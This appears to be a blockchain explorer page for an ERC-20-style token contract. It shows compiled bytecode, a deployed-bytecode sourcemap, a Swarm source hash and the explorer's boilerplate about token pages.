9392505050565b5f600954821115610846575f80fd5b5f61084f610ba7565b90506108308382610bc8565b6017805460ff191690556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610898576108986111ea565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610908573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092c91906111fe565b8160018151811061093f5761093f6111ea565b6001600160a01b03928316602091820292909201015260045461096591309116846104d7565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac9479161099c9186915f9187913091429101611219565b5f604051808303815f87803b1580156109b3575f80fd5b505af11580156109c5573d5f803e3d5ffd5b50506017805460ff1916905550505050565b6017805460ff191690556005545f906109fe906064906109f8908590610c09565b90610bc8565b600c546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610a36573d5f803e3d5ffd5b50506017805460ff1916905550565b5f805f805f80610a5487610c87565b6001600160a01b038f165f908152600a6020526040902054959b50939950919750955093509150610a8590876107ef565b6001600160a01b03808b165f908152600a602052604080822093909355908a1681522054610ab39086610cdc565b6001600160a01b0389165f908152600a6020526040902055610ad6818a8a610d3a565b610ae08483610dc8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b2591815260200190565b60405180910390a3505050505050505050565b80610b4557610b45610dec565b610b50848484610a45565b806107e9576107e9601454601255601354601155565b5f8184841115610b925760405162461bcd60e51b8152600401610b899190610fb4565b60405180910390fd5b505f610b9e848661128a565b95945050505050565b5f805f610bb2610e19565b9092509050610bc18282610bc8565b9250505090565b5f61083083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e9a565b5f825f03610c1857505f610358565b5f610c2383856111d3565b905082610c30858361129d565b146108305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b89565b5f805f805f805f805f610c9f8a601254601154610ec6565b9250925092505f610cae610ba7565b90505f805f610cbf8e878787610f12565b919e509c509a509598509396509194505050505091939550919395565b5f80610ce883856112bc565b9050838110156108305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b89565b5f610d43610ba7565b6003546001600160a01b03165f908152600a602052604081205491925090610d6a90610837565b90505f610d778585610f5d565b90505f610d848785610c09565b305f908152600a6020526040902054909150610da09082610cdc565b305f908152600a602052604090205581610dba575f6106d7565b826011546106d7919061128a565b600654610dd59082610cdc565b600655600954610de590836107ef565b6009555050565b601154158015610dfc5750601254155b15610e0357565b60128054601455601180546013555f9182905555565b6009545f90819081610e2d6012600a6111c5565b610e3b9063ee6b28006111d3565b905081610e64610e4d6012600a6111c5565b610e5b9063ee6b28006111d3565b60095490610bc8565b1115610e9157600954610e796012600a6111c5565b610e879063ee6b28006111d3565b9350935050509091565b90939092509050565b5f8183610eba5760405162461bcd60e51b8152600401610b899190610fb4565b505f610b9e848661129d565b5f808080610ed960646109f88989610c09565b90505f610eeb60646109f88a89610c09565b90505f610f0282610efc8b866107ef565b906107ef565b9992985090965090945050505050565b5f808080610f208786610c09565b90505f610f2d8787610c09565b90505f610f3a8a88610c09565b90505f610f4b83610efc84876107ef565b919b919a509298509650505050505050565b6001546001600160a01b038281165f9081526015602052604080822054868416808452918320549294939093161480159260ff90811615921615908390610fa15750805b8015610faa5750815b9695505050505050565b5f602080835283518060208501525f5b81811015610fe057858101830151858201604001528201610fc4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611014575f80fd5b50565b5f8060408385031215611028575f80fd5b823561103381611000565b946020939093013593505050565b5f805f60608486031215611053575f80fd5b833561105e81611000565b9250602084013561106e81611000565b929592945050506040919091013590565b5f6020828403121561108f575f80fd5b813561083081611000565b5f80604083850312156110ab575f80fd5b82356110b681611000565b915060208301356110c681611000565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561111f57815f1904821115611105576111056110d1565b8085161561111257918102915b93841c93908002906110ea565b509250929050565b5f8261113557506001610358565b8161114157505f610358565b816001811461115757600281146111615761117d565b6001915050610358565b60ff841115611172576111726110d1565b50506001821b610358565b5060208310610133831016604e8410600b84101617156111a0575081810a610358565b6111aa83836110e5565b805f19048211156111bd576111bd6110d1565b029392505050565b5f61083060ff841683611127565b8082028115828204841417610358576103586110d1565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561120e575f80fd5b815161083081611000565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112695784516001600160a01b031683529383019391830191600101611244565b50506001600160a01b03969096166060850152505050608001529392505050565b81810381811115610358576103586110d1565b5f826112b757634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610358576103586110d156fea264697066735822122099d4e2d48cbbbfcafc09e2ace25c140ddb679b2679e274ed7afe8a1ab29e635b64736f6c63430008160033

Deployed Bytecode Sourcemap

3323:10481:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3879:60;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;3879:60:0;;;;;;;;13681:83;;;;;;;;;;-1:-1:-1;13751:5:0;;;;;;;;;;;;-1:-1:-1;;;13751:5:0;;;;13681:83;;;;;;;:::i;12924:163::-;;;;;;;;;;-1:-1:-1;12924:163:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;12924:163:0;1205:187:1;3535:40:0;;;;;;;;;;-1:-1:-1;3535:40:0;;;;-1:-1:-1;;;;;3535:40:0;;;;;;-1:-1:-1;;;;;1586:32:1;;;1568:51;;1556:2;1541:18;3535:40:0;1397:228:1;13337:95:0;;;;;;;;;;;;;:::i;12468:271::-;;;;;;;;;;-1:-1:-1;12468:271:0;;;;;:::i;:::-;;:::i;13246:83::-;;;;;;;;;;-1:-1:-1;13246:83:0;;3821:2;2233:36:1;;2221:2;2206:18;13246:83:0;2091:184:1;3406:28:0;;;;;;;;;;-1:-1:-1;3406:28:0;;;;-1:-1:-1;;;;;3406:28:0;;;3634:32;;;;;;;;;;-1:-1:-1;3634:32:0;;;;;;13440:138;;;;;;;;;;-1:-1:-1;13440:138:0;;;;;:::i;:::-;;:::i;1855:148::-;;;;;;;;;;;;;:::i;:::-;;1558:79;;;;;;;;;;-1:-1:-1;1596:7:0;1623:6;-1:-1:-1;;;;;1623:6:0;1558:79;;13586:87;;;;;;;;;;-1:-1:-1;13658:7:0;;;;;;;;;;;;-1:-1:-1;;;13658:7:0;;;;13586:87;;12747:169;;;;;;;;;;-1:-1:-1;12747:169:0;;;;;:::i;:::-;;:::i;13095:143::-;;;;;;;;;;-1:-1:-1;13095:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13203:18:0;;;13176:7;13203:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13095:143;1645:202;;;;;;;;;;-1:-1:-1;1645:202:0;;;;;:::i;:::-;;:::i;12924:163::-;12999:4;13016:39;174:10;13039:7;13048:6;13016:8;:39::i;:::-;-1:-1:-1;13075:4:0;12924:163;;;;;:::o;13337:95::-;13390:7;3994:13;3821:2;3994;:13;:::i;:::-;3981:26;;:10;:26;:::i;:::-;13410:14;;13337:95;:::o;12468:271::-;12566:4;12583:36;12593:6;12601:9;12612:6;12583:9;:36::i;:::-;-1:-1:-1;;;;;12661:19:0;;;;;;:11;:19;;;;;;;;174:10;12661:33;;;;;;;;;12630:77;;12639:6;;12661:45;;12699:6;12661:37;:45::i;:::-;12630:8;:77::i;:::-;-1:-1:-1;12727:4:0;12468:271;;;;;:::o;13440:138::-;-1:-1:-1;;;;;13553:16:0;;13506:7;13553:16;;;:7;:16;;;;;;13533:37;;:19;:37::i;1855:148::-;2051:6;;-1:-1:-1;;;;;2051:6:0;174:10;2051:22;2043:31;;;;;;1962:1:::1;1946:6:::0;;1925:40:::1;::::0;-1:-1:-1;;;;;1946:6:0;;::::1;::::0;1925:40:::1;::::0;1962:1;;1925:40:::1;1993:1;1976:19:::0;;-1:-1:-1;;;;;;1976:19:0::1;::::0;;1855:148::o;12747:169::-;12825:4;12842:42;174:10;12866:9;12877:6;12842:9;:42::i;1645:202::-;2051:6;;-1:-1:-1;;;;;2051:6:0;174:10;2051:22;2043:31;;;;;;-1:-1:-1;;;;;1734:22:0;::::1;1726:31;;;::::0;::::1;;1794:6;::::0;;1773:38:::1;::::0;-1:-1:-1;;;;;1773:38:0;;::::1;::::0;1794:6;::::1;::::0;1773:38:::1;::::0;::::1;1822:6;:17:::0;;-1:-1:-1;;;;;;1822:17:0::1;-1:-1:-1::0;;;;;1822:17:0;;;::::1;::::0;;;::::1;::::0;;1645:202::o;10227:259::-;-1:-1:-1;;;;;10320:19:0;;10312:28;;;;;;-1:-1:-1;;;;;10359:21:0;;10351:30;;;;;;-1:-1:-1;;;;;10394:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10446:32;;160:25:1;;;10446:32:0;;133:18:1;10446:32:0;;;;;;;10227:259;;;:::o;7514:1876::-;7620:1;7611:6;:10;7603:19;;;;;;-1:-1:-1;;;;;7641:20:0;;7633:29;;;;;;-1:-1:-1;;;;;7681:23:0;;7673:32;;;;;;1596:7;1623:6;-1:-1:-1;;;;;7722:17:0;;;1623:6;;7722:17;;;;:41;;-1:-1:-1;1596:7:0;1623:6;-1:-1:-1;;;;;7743:20:0;;;1623:6;;7743:20;;7722:41;7718:964;;;7780:27;7810:24;7828:4;7810:9;:24::i;:::-;7887:20;;7938:13;;7780:54;;-1:-1:-1;7864:43:0;;;;-1:-1:-1;;;;;7928:23:0;;;7938:13;;7928:23;;;;:46;;-1:-1:-1;;;;;;7956:18:0;;;;;;:10;:18;;;;;;;;7955:19;7928:46;:72;;;;-1:-1:-1;;;;;;7979:21:0;;;;;;:10;:21;;;;;;;;7978:22;7928:72;:83;;;;;8004:7;7928:83;:97;;;;-1:-1:-1;8016:9:0;;;;8015:10;7928:97;:112;;;;-1:-1:-1;8029:11:0;;;;;;;7928:112;7924:368;;;8061:29;8070:19;8061:8;:29::i;:::-;8137:21;8181;;8177:100;;8227:30;8235:21;8227:7;:30::i;:::-;8042:250;7924:368;8325:13;;-1:-1:-1;;;;;8325:26:0;;;:13;;:26;8308:14;8404:6;8384:17;8394:6;8384:9;:17::i;:::-;-1:-1:-1;;;;;8447:18:0;;8425:19;8447:18;;;:10;:18;;;;;;8384:26;-1:-1:-1;8384:26:0;-1:-1:-1;8447:18:0;;8482:189;;;;8525:9;8521:135;;;8542:10;8538:116;;;8606:11;;8577:49;;8595:9;;-1:-1:-1;;;;;8606:11:0;8619:6;8577:17;:49::i;:::-;8628:7;;;;;7514:1876;;;:::o;8538:116::-;7765:917;;;;;7718:964;8717:4;8749:13;;-1:-1:-1;;;;;8739:23:0;;;8749:13;;8739:23;;;;:53;;-1:-1:-1;8779:13:0;;-1:-1:-1;;;;;8766:26:0;;;8779:13;;8766:26;;8739:53;8738:104;;;-1:-1:-1;;;;;;8798:18:0;;;;;;:10;:18;;;;;;;;;:43;;-1:-1:-1;;;;;;8820:21:0;;;;;;:10;:21;;;;;;;;8798:43;8734:578;;;-1:-1:-1;8877:5:0;8734:578;;;8937:15;;-1:-1:-1;;;;;8919:34:0;;;8937:15;;8919:34;;;;:64;;-1:-1:-1;8970:13:0;;-1:-1:-1;;;;;8957:26:0;;;8970:13;;8957:26;8919:64;8915:186;;;9016:15;;9004:9;:27;9066:19;;9050:13;:35;8915:186;9142:15;;-1:-1:-1;;;;;9121:37:0;;;9142:15;;9121:37;;;;:64;;-1:-1:-1;9172:13:0;;-1:-1:-1;;;;;9162:23:0;;;9172:13;;9162:23;9121:64;9117:184;;;9218:14;;9206:9;:26;9267:18;;9251:13;:34;9117:184;9324:58;9339:6;9347:9;9358:6;9366:15;9324:14;:58::i;:::-;7592:1798;7514:1876;;;:::o;1188:136::-;1246:7;1273:43;1277:1;1280;1273:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1266:50;1188:136;-1:-1:-1;;;1188:136:0:o;5923:212::-;5991:7;6030;;6019;:18;;6011:27;;;;;;6051:19;6073:10;:8;:10::i;:::-;6051:32;-1:-1:-1;6103:24:0;:7;6051:32;6103:11;:24::i;5516:399::-;12395:9;:17;;-1:-1:-1;;12395:17:0;;;5610:16:::1;::::0;;5624:1:::1;5610:16:::0;;;;;::::1;::::0;;-1:-1:-1;;5610:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;5610:16:0::1;5586:40;;5655:4;5637;5642:1;5637:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;5637:23:0::1;;;-1:-1:-1::0;;;;;5637:23:0::1;;;::::0;::::1;5681:15;;;;;;;;;-1:-1:-1::0;;;;;5681:15:0::1;-1:-1:-1::0;;;;;5681:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5671:4;5676:1;5671:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5671:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;5746:15:::1;::::0;5714:62:::1;::::0;5731:4:::1;::::0;5746:15:::1;5764:11:::0;5714:8:::1;:62::i;:::-;5787:15;::::0;;:120:::1;::::0;-1:-1:-1;;;5787:120:0;;-1:-1:-1;;;;;5787:15:0;;::::1;::::0;:66:::1;::::0;:120:::1;::::0;5854:11;;5787:15:::1;::::0;5870:4;;5884::::1;::::0;5891:15:::1;::::0;5787:120:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;12435:9:0;:17;;-1:-1:-1;;12435:17:0;;;-1:-1:-1;;;;5516:399:0:o;6143:182::-;12395:9;:17;;-1:-1:-1;;12395:17:0;;;6240:12:::1;:22:::0;12407:5;;6226:46:::1;::::0;6268:3:::1;::::0;6226:37:::1;::::0;:9;;:13:::1;:37::i;:::-;:41:::0;::::1;:46::i;:::-;6291:9;::::0;6283:34:::1;::::0;6210:62;;-1:-1:-1;;;;;;6291:9:0::1;::::0;6283:34;::::1;;;::::0;6210:62;;6291:9:::1;6283:34:::0;6291:9;6283:34;6210:62;6291:9;6283:34;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;12435:9:0;:17;;-1:-1:-1;;12435:17:0;;;-1:-1:-1;6143:182:0:o;10494:523::-;10593:15;10610:23;10635:12;10649:23;10674:12;10688:18;10710:19;10721:7;10710:10;:19::i;:::-;-1:-1:-1;;;;;10758:15:0;;;;;;:7;:15;;;;;;10592:137;;-1:-1:-1;10592:137:0;;-1:-1:-1;10592:137:0;;-1:-1:-1;10592:137:0;-1:-1:-1;10592:137:0;-1:-1:-1;10592:137:0;-1:-1:-1;10758:28:0;;10592:137;10758:19;:28::i;:::-;-1:-1:-1;;;;;10740:15:0;;;;;;;:7;:15;;;;;;:46;;;;10818:18;;;;;;;:39;;10841:15;10818:22;:39::i;:::-;-1:-1:-1;;;;;10797:18:0;;;;;;:7;:18;;;;;:60;10868:47;10885:10;10897:6;10805:9;10868:16;:47::i;:::-;10926:23;10938:4;10944;10926:11;:23::i;:::-;10982:9;-1:-1:-1;;;;;10965:44:0;10974:6;-1:-1:-1;;;;;10965:44:0;;10993:15;10965:44;;;;160:25:1;;148:2;133:18;;14:177;10965:44:0;;;;;;;;10581:436;;;;;;10494:523;;;:::o;12088:265::-;12209:15;12204:37;;12226:15;:13;:15::i;:::-;12252:44;12270:6;12278:9;12289:6;12252:17;:44::i;:::-;12312:15;12307:38;;12329:16;6390:17;;6378:9;:29;6434:21;;6418:13;:37;6333:130;988:192;1074:7;1110:12;1102:6;;;;1094:29;;;;-1:-1:-1;;;1094:29:0;;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;1134:9:0;1146:5;1150:1;1146;:5;:::i;:::-;1134:17;988:192;-1:-1:-1;;;;;988:192:0:o;11025:166::-;11067:7;11088:15;11105;11124:19;:17;:19::i;:::-;11087:56;;-1:-1:-1;11087:56:0;-1:-1:-1;11163:20:0;11087:56;;11163:11;:20::i;:::-;11156:27;;;;11025:166;:::o;452:132::-;510:7;537:39;541:1;544;537:39;;;;;;;;;;;;;;;;;:3;:39::i;218:226::-;276:7;300:1;305;300:6;296:25;;-1:-1:-1;317:1:0;310:8;;296:25;331:9;343:5;347:1;343;:5;:::i;:::-;331:17;-1:-1:-1;376:1:0;367:5;371:1;331:17;367:5;:::i;:::-;:10;359:56;;;;-1:-1:-1;;;359:56:0;;6877:2:1;359:56:0;;;6859:21:1;6916:2;6896:18;;;6889:30;6955:34;6935:18;;;6928:62;-1:-1:-1;;;7006:18:1;;;6999:31;7047:19;;359:56:0;6675:397:1;6719:491:0;6778:7;6787;6796;6805;6814;6823;6844:23;6869:12;6883:18;6905:46;6917:7;6926:9;;6937:13;;6905:11;:46::i;:::-;6843:108;;;;;;6962:19;6984:10;:8;:10::i;:::-;6962:32;;7006:15;7023:23;7048:12;7064:51;7076:7;7085:4;7091:10;7103:11;7064;:51::i;:::-;7005:110;;-1:-1:-1;7005:110:0;-1:-1:-1;7005:110:0;-1:-1:-1;7168:15:0;;-1:-1:-1;7185:4:0;;-1:-1:-1;7191:10:0;;-1:-1:-1;;;;;6719:491:0;;;;;;;:::o;799:181::-;857:7;;889:5;893:1;889;:5;:::i;:::-;877:17;;918:1;913;:6;;905:46;;;;-1:-1:-1;;;905:46:0;;7409:2:1;905:46:0;;;7391:21:1;7448:2;7428:18;;;7421:30;7487:29;7467:18;;;7460:57;7534:18;;905:46:0;7207:351:1;11354:459:0;11447:19;11469:10;:8;:10::i;:::-;11541:11;;-1:-1:-1;;;;;11541:11:0;11490:20;11533;;;:7;:20;;;;;;11447:32;;-1:-1:-1;11490:20:0;11513:41;;:19;:41::i;:::-;11490:64;;11565:12;11580:25;11594:4;11600;11580:13;:25::i;:::-;11565:40;-1:-1:-1;11616:18:0;11637:27;:10;11652:11;11637:14;:27::i;:::-;11716:4;11700:22;;;;:7;:22;;;;;;11616:48;;-1:-1:-1;11700:38:0;;11616:48;11700:26;:38::i;:::-;11691:4;11675:22;;;;:7;:22;;;;;:63;11762:7;:43;;11804:1;11762:43;;;11789:12;11773:13;;:28;;;;:::i;11199:147::-;11280:10;;:20;;11295:4;11280:14;:20::i;:::-;11267:10;:33;11321:7;;:17;;11333:4;11321:11;:17::i;:::-;11311:7;:27;-1:-1:-1;;11199:147:0:o;6471:240::-;6519:13;;:18;:36;;;;-1:-1:-1;6541:9:0;;:14;6519:36;6515:49;;;6471:240::o;6515:49::-;6594:9;;;6574:17;:29;6638:13;;;6614:21;:37;-1:-1:-1;6662:13:0;;;;6686:17;6471:240::o;11821:259::-;11919:7;;11872;;;;;3994:13;3821:2;3994;:13;:::i;:::-;3981:26;;:10;:26;:::i;:::-;11937:25;-1:-1:-1;12000:7:0;11977:20;3994:13;3821:2;3994;:13;:::i;:::-;3981:26;;:10;:26;:::i;:::-;11977:7;;;:11;:20::i;:::-;:30;11973:61;;;12017:7;;3994:13;3821:2;3994;:13;:::i;:::-;3981:26;;:10;:26;:::i;:::-;12009:25;;;;;;11821:259;;:::o;11973:61::-;12055:7;;12064;;-1:-1:-1;11821:259:0;-1:-1:-1;11821:259:0:o;592:199::-;678:7;713:12;706:5;698:28;;;;-1:-1:-1;;;698:28:0;;;;;;;;:::i;:::-;-1:-1:-1;737:9:0;749:5;753:1;749;:5;:::i;9837:382::-;9937:7;;;;9990:30;10016:3;9990:21;:7;10002:8;9990:11;:21::i;:30::-;9975:45;-1:-1:-1;10031:18:0;10052:34;10082:3;10052:25;:7;10064:12;10052:11;:25::i;:34::-;10031:55;-1:-1:-1;10097:23:0;10123:33;10031:55;10123:17;:7;10135:4;10123:11;:17::i;:::-;:21;;:33::i;:::-;10097:59;10194:4;;-1:-1:-1;10200:10:0;;-1:-1:-1;9837:382:0;;-1:-1:-1;;;;;9837:382:0:o;9398:431::-;9513:7;;;;9566:21;:4;9575:11;9566:8;:21::i;:::-;9551:36;-1:-1:-1;9598:18:0;9619:27;:10;9634:11;9619:14;:27::i;:::-;9598:48;-1:-1:-1;9657:15:0;9675:24;:7;9687:11;9675;:24::i;:::-;9657:42;-1:-1:-1;9710:23:0;9736:33;9758:10;9736:17;9657:42;9748:4;9736:11;:17::i;:33::-;9790:7;;;;-1:-1:-1;9816:4:0;;-1:-1:-1;9398:431:0;-1:-1:-1;;;;;;;9398:431:0:o;7218:288::-;7332:13;;-1:-1:-1;;;;;7376:16:0;;;7291:4;7376:16;;;:10;:16;;;;;;;7324:21;;;7423:16;;;;;;;7291:4;;7332:13;;;;7324:21;;;;7376:16;;;;7375:17;;7423:16;7422:17;;7324:21;;7460:23;;;7472:11;7460:23;:38;;;;;7487:11;7460:38;7452:46;7218:288;-1:-1:-1;;;;;;7218:288:0:o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1630:456::-;1707:6;1715;1723;1776:2;1764:9;1755:7;1751:23;1747:32;1744:52;;;1792:1;1789;1782:12;1744:52;1831:9;1818:23;1850:31;1875:5;1850:31;:::i;:::-;1900:5;-1:-1:-1;1957:2:1;1942:18;;1929:32;1970:33;1929:32;1970:33;:::i;:::-;1630:456;;2022:7;;-1:-1:-1;;;2076:2:1;2061:18;;;;2048:32;;1630:456::o;2488:247::-;2547:6;2600:2;2588:9;2579:7;2575:23;2571:32;2568:52;;;2616:1;2613;2606:12;2568:52;2655:9;2642:23;2674:31;2699:5;2674:31;:::i;2740:388::-;2808:6;2816;2869:2;2857:9;2848:7;2844:23;2840:32;2837:52;;;2885:1;2882;2875:12;2837:52;2924:9;2911:23;2943:31;2968:5;2943:31;:::i;:::-;2993:5;-1:-1:-1;3050:2:1;3035:18;;3022:32;3063:33;3022:32;3063:33;:::i;:::-;3115:7;3105:17;;;2740:388;;;;;:::o;3133:127::-;3194:10;3189:3;3185:20;3182:1;3175:31;3225:4;3222:1;3215:15;3249:4;3246:1;3239:15;3265:416;3354:1;3391:5;3354:1;3405:270;3426:7;3416:8;3413:21;3405:270;;;3485:4;3481:1;3477:6;3473:17;3467:4;3464:27;3461:53;;;3494:18;;:::i;:::-;3544:7;3534:8;3530:22;3527:55;;;3564:16;;;;3527:55;3643:22;;;;3603:15;;;;3405:270;;;3409:3;3265:416;;;;;:::o;3686:806::-;3735:5;3765:8;3755:80;;-1:-1:-1;3806:1:1;3820:5;;3755:80;3854:4;3844:76;;-1:-1:-1;3891:1:1;3905:5;;3844:76;3936:4;3954:1;3949:59;;;;4022:1;4017:130;;;;3929:218;;3949:59;3979:1;3970:10;;3993:5;;;4017:130;4054:3;4044:8;4041:17;4038:43;;;4061:18;;:::i;:::-;-1:-1:-1;;4117:1:1;4103:16;;4132:5;;3929:218;;4231:2;4221:8;4218:16;4212:3;4206:4;4203:13;4199:36;4193:2;4183:8;4180:16;4175:2;4169:4;4166:12;4162:35;4159:77;4156:159;;;-1:-1:-1;4268:19:1;;;4300:5;;4156:159;4347:34;4372:8;4366:4;4347:34;:::i;:::-;4417:6;4413:1;4409:6;4405:19;4396:7;4393:32;4390:58;;;4428:18;;:::i;:::-;4466:20;;3686:806;-1:-1:-1;;;3686:806:1:o;4497:140::-;4555:5;4584:47;4625:4;4615:8;4611:19;4605:4;4584:47;:::i;4642:168::-;4715:9;;;4746;;4763:15;;;4757:22;;4743:37;4733:71;;4784:18;;:::i;4947:127::-;5008:10;5003:3;4999:20;4996:1;4989:31;5039:4;5036:1;5029:15;5063:4;5060:1;5053:15;5079:251;5149:6;5202:2;5190:9;5181:7;5177:23;5173:32;5170:52;;;5218:1;5215;5208:12;5170:52;5250:9;5244:16;5269:31;5294:5;5269:31;:::i;5335:980::-;5597:4;5645:3;5634:9;5630:19;5676:6;5665:9;5658:25;5702:2;5740:6;5735:2;5724:9;5720:18;5713:34;5783:3;5778:2;5767:9;5763:18;5756:31;5807:6;5842;5836:13;5873:6;5865;5858:22;5911:3;5900:9;5896:19;5889:26;;5950:2;5942:6;5938:15;5924:29;;5971:1;5981:195;5995:6;5992:1;5989:13;5981:195;;;6060:13;;-1:-1:-1;;;;;6056:39:1;6044:52;;6151:15;;;;6116:12;;;;6092:1;6010:9;5981:195;;;-1:-1:-1;;;;;;;6232:32:1;;;;6227:2;6212:18;;6205:60;-1:-1:-1;;;6296:3:1;6281:19;6274:35;6193:3;5335:980;-1:-1:-1;;;5335:980:1:o;6320:128::-;6387:9;;;6408:11;;;6405:37;;;6422:18;;:::i;6453:217::-;6493:1;6519;6509:132;;6563:10;6558:3;6554:20;6551:1;6544:31;6598:4;6595:1;6588:15;6626:4;6623:1;6616:15;6509:132;-1:-1:-1;6655:9:1;;6453:217::o;7077:125::-;7142:9;;;7163:10;;;7160:36;;;7176:18;;:::i

Swarm Source

ipfs://99d4e2d48cbbbfcafc09e2ace25c140ddb679b2679e274ed7afe8a1ab29e635b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.